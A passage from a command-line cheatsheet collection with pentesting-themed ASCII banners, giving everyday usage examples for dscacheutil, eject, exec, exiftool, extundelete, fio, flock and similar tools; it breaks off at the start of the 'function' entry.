╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
31 - 🖥️dscacheutil
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the dscacheutil command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗ ██████╗ █████╗ ██████╗██╗ ██╗███████╗██╗ ██╗████████╗██╗██╗
# ██╔══██╗██╔════╝██╔════╝██╔══██╗██╔════╝██║ ██║██╔════╝██║ ██║╚══██╔══╝██║██║
# ██║ ██║███████╗██║ ███████║██║ ███████║█████╗ ██║ ██║ ██║ ██║██║
# ██║ ██║╚════██║██║ ██╔══██║██║ ██╔══██║██╔══╝ ██║ ██║ ██║ ██║██║
# ██████╔╝███████║╚██████╗██║ ██║╚██████╗██║ ██║███████╗╚██████╔╝ ██║ ██║███████╗
# ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝
# dscacheutil
# Gather information, statistics and initiate queries to the Directory Service cache.
# Flush the DNS cache
# in OS X 10.9 Mavericks
dscacheutil -flushcache
# to clear DNS cache in 10.7 and 10.8
killall -HUP mDNSResponder
# Show DNS resolver statistics (Mac OS X)
dscacheutil -statistics
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command dscacheutil in a clear format. This allows users to quickly access the needed information for dscacheutil without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for dscacheutil are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
32 - 🖥️e2label
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the e2label command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██████╗ ██╗ █████╗ ██████╗ ███████╗██╗
# ██╔════╝╚════██╗██║ ██╔══██╗██╔══██╗██╔════╝██║
# █████╗ █████╔╝██║ ███████║██████╔╝█████╗ ██║
# ██╔══╝ ██╔═══╝ ██║ ██╔══██║██╔══██╗██╔══╝ ██║
# ███████╗███████╗███████╗██║ ██║██████╔╝███████╗███████╗
# ╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝
e2label /dev/sdc1 2018backups
# You can use the e2label program to give your ext[234] filesystems a label so that they have a symbolic name when automounted among other things.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command e2label in a clear format. This allows users to quickly access the needed information for e2label without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for e2label are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
33 - 🖥️eject
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the eject command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██╗███████╗ ██████╗████████╗
# ██╔════╝ ██║██╔════╝██╔════╝╚══██╔══╝
# █████╗ ██║█████╗ ██║ ██║
# ██╔══╝ ██ ██║██╔══╝ ██║ ██║
# ███████╗╚█████╔╝███████╗╚██████╗ ██║
# ╚══════╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝
# eject
# eject removable media
# You can also close the tray using certain options.
# Eject any available device
# CD-ROM, floppy disk, tape, or JAZ or ZIP disk
eject
# Eject a device by its name
eject /dev/cdrom
# Close the tray using eject command
eject -t
# Lock the hardware eject button
eject -i on
# Unlock the hardware eject button
eject -i off
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command eject in a clear format. This allows users to quickly access the needed information for eject without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for eject are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
34 - 🖥️elm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the elm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ███╗ ███╗
# ██╔════╝██║ ████╗ ████║
# █████╗ ██║ ██╔████╔██║
# ██╔══╝ ██║ ██║╚██╔╝██║
# ███████╗███████╗██║ ╚═╝ ██║
# ╚══════╝╚══════╝╚═╝ ╚═╝
# Elm
# Domain-specific programming language for declaratively creating web browser-based graphical user interfaces.
# Start Elm REPL
elm repl
# Default compilation
elm make HelloWorld.elm -> index.html
# Custom name
elm make HelloWorld.elm --output hw.js
# Compile multiple files
elm make HelloWorld.elm MyModule.elm --output hw.js
# Compile with warnings
elm make HelloWorld.elm --warn
# Save result to a HTML
elm make HelloWorld.elm --output hw.html
# Install a package
elm package install evancz/elm-html
# See also:
# Elm language cheat sheets at /elm/
# list of pages: /elm/:list
# learn Elm: /elm/:learn
# search in pages: /elm/~keyword
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command elm in a clear format. This allows users to quickly access the needed information for elm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for elm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
35 - 🖥️exec
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the exec command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗███████╗ ██████╗
# ██╔════╝╚██╗██╔╝██╔════╝██╔════╝
# █████╗ ╚███╔╝ █████╗ ██║
# ██╔══╝ ██╔██╗ ██╔══╝ ██║
# ███████╗██╔╝ ██╗███████╗╚██████╗
# ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝
# Shell builtin command
# It can start a new process to replace the shell, without a new process creation.
# It can make redirections take effect in the current shell
# Redirect the output of an entire shell script within the script itself
# Only stdout:
exec > foo.log
# Redirect the output of an entire shell script within the script itself
# Stdout and stderr:
exec > foo.log 2>&1
# Copy output to a log file
exec > >(tee -ia foo.log)
exec 2> >(tee -ia foo.log >&2)
# Disable suspend on lid close until current shell exits - Useful for running long commands with the laptop lid closed and screen off. Also see Gnome extension Caffeine. https://extensions.gnome.org/extension/517/caffeine/
exec systemd-inhibit --what=handle-lid-switch --mode=block bash
exec -a vim nethack
# Now if your boss runs ps aux on your system, they will think you are working, not playing a game.
#==============================##==============================#
# CMD EXEC #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command exec in a clear format. This allows users to quickly access the needed information for exec without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for exec are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
36 - 🖥️exiftool
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the exiftool command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗██╗███████╗████████╗ ██████╗ ██████╗ ██╗
# ██╔════╝╚██╗██╔╝██║██╔════╝╚══██╔══╝██╔═══██╗██╔═══██╗██║
# █████╗ ╚███╔╝ ██║█████╗ ██║ ██║ ██║██║ ██║██║
# ██╔══╝ ██╔██╗ ██║██╔══╝ ██║ ██║ ██║██║ ██║██║
# ███████╗██╔╝ ██╗██║██║ ██║ ╚██████╔╝╚██████╔╝███████╗
# ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
#==============================#
# CMD exiftool
#==============================##==============================#
exiftool -all= foo.jpg
# Remove all exif metadata from a photo.
exiftool <(curl -s apod.nasa\.gov/apod/image/1605/NGC5078-LRGBhager2048.jpg) |grep Software
# See what software was used for an image. #tbt
exiftool -v '-Directory<DateTimeOriginal' -d %Y .
# Move photos with EXIF data to directories by year created/taken. Be verbose.
exiftool -alldates="1964:06:01 12:00:00"
# setzt alle verfügbaren Datumsangaben einer Datei auf 1. Juni 1964 um 12 Uhr
# Remove all the exif metadata tags from photo.jpg to improve privacy before uploading.
exiftool -all= photo.jpg
# copy rated photos to separate folder https://linux.die.net/man/1/exiftool
exiftool -P -if '$Rating eq 5' -out ./_Best_of/ *
exiftool -a -b -W %d%f_%t%-c.%s -preview:all YourFileOrDirectory
# Extract thumbnails from EXIF metadata -> It will generate a new file ending with "_ThumbnailImage.jpg" which is the embedded thumbnail inside the JPG for example.
exiftool -v '-Directory<DateTimeOriginal' -d %Y .
# Move photos with EXIF data to directories by year created/taken. Be verbose.
# Use CreationDate metadata on .mov files to rename and modify the created/modify file dates on Mac
exiftool '-MDItemFSCreationDate<CreationDate' '-FileModifyDate<CreationDate' '-filename<CreationDate' -d %Y-%m-%d_%H-%M-%S%%+c.%%le . -ext mov
#==============================##==============================#
# CMD exiftool
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command exiftool in a clear format. This allows users to quickly access the needed information for exiftool without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for exiftool are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
37 - 🖥️exiv2
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the exiv2 command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗██╗██╗ ██╗██████╗
# ██╔════╝╚██╗██╔╝██║██║ ██║╚════██╗
# █████╗ ╚███╔╝ ██║██║ ██║ █████╔╝
# ██╔══╝ ██╔██╗ ██║╚██╗ ██╔╝██╔═══╝
# ███████╗██╔╝ ██╗██║ ╚████╔╝ ███████╗
# ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝
exiv2 -k -F rename *.jpg
# Use the exiv2 EXIF program to rename your jpg files according to their exif date/time data. Thx @mvuets
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command exiv2 in a clear format. This allows users to quickly access the needed information for exiv2 without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for exiv2 are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
38 - 🖥️extundelete
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the extundelete command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗████████╗██╗ ██╗███╗ ██╗██████╗ ███████╗██╗ ███████╗████████╗███████╗
# ██╔════╝╚██╗██╔╝╚══██╔══╝██║ ██║████╗ ██║██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝
# █████╗ ╚███╔╝ ██║ ██║ ██║██╔██╗ ██║██║ ██║█████╗ ██║ █████╗ ██║ █████╗
# ██╔══╝ ██╔██╗ ██║ ██║ ██║██║╚██╗██║██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝
# ███████╗██╔╝ ██╗ ██║ ╚██████╔╝██║ ╚████║██████╔╝███████╗███████╗███████╗ ██║ ███████╗
# ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝
# to recover a file in /home/SomeUserName/, assuming /home is on its own partition, run:
extundelete /dev/sda4 --restore-file SomeUserName/SomeDirectory
# Recover an entire directory
extundelete /dev/sda4 --restore-directory SomeUserName/SomeDirectory
# For advanced users, to manually recover blocks or inodes with extundelete,
# debugfs can be used to find the inode to be recovered;
# Additional inodes to recover can be listed in an unspaced, comma-separated fashion.
extundelete --restore-inode inode
# recover all deleted files from an entire partition
extundelete /dev/sda4 --restore-all
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command extundelete in a clear format. This allows users to quickly access the needed information for extundelete without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for extundelete are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
39 - 🖥️fdupes
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the fdupes command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗
# ██╔════╝██╔══██╗██║ ██║██╔══██╗██╔════╝██╔════╝
# █████╗ ██║ ██║██║ ██║██████╔╝█████╗ ███████╗
# ██╔══╝ ██║ ██║██║ ██║██╔═══╝ ██╔══╝ ╚════██║
# ██║ ██████╔╝╚██████╔╝██║ ███████╗███████║
# ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝
fdupes -r dir > dupes.txt
# Find file duplicates in 'dir' recursively based on size and mdsum and log to dupes.txt.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command fdupes in a clear format. This allows users to quickly access the needed information for fdupes without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for fdupes are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
40 - 🖥️fio
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the fio command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██████╗
# ██╔════╝██║██╔═══██╗
# █████╗ ██║██║ ██║
# ██╔══╝ ██║██║ ██║
# ██║ ██║╚██████╔╝
# ╚═╝ ╚═╝ ╚═════╝
# fio
# flexible I/O tester
# Spawn a number of threads or processes doing a particular type of I/O action
# iodepth = Number of I/O units to keep in flight against the file
# (can be used to initialize an AWS EBS volume)
fio --filename=/dev/xvdf --rw=read --bs=128k --iodepth=32 --ioengine=libaio --direct=1 --name=volume-initialize
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command fio in a clear format. This allows users to quickly access the needed information for fio without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for fio are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
41 - 🖥️flock
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the flock command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██████╗ ██████╗██╗ ██╗
# ██╔════╝██║ ██╔═══██╗██╔════╝██║ ██╔╝
# █████╗ ██║ ██║ ██║██║ █████╔╝
# ██╔══╝ ██║ ██║ ██║██║ ██╔═██╗
# ██║ ███████╗╚██████╔╝╚██████╗██║ ██╗
# ╚═╝ ╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝
/usr/bin/flock -n /var/lock/some-lock-name /bin/sh /path/to/script.sh
# Run the given script, exit immediately if another instance is already running. Convenient for cron tasks.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command flock in a clear format. This allows users to quickly access the needed information for flock without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for flock are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
42 - 🖥️function
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the function command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗███╗ ██╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗
# ██╔════╝██║ ██║████╗ ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║
# █████╗ ██║ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║
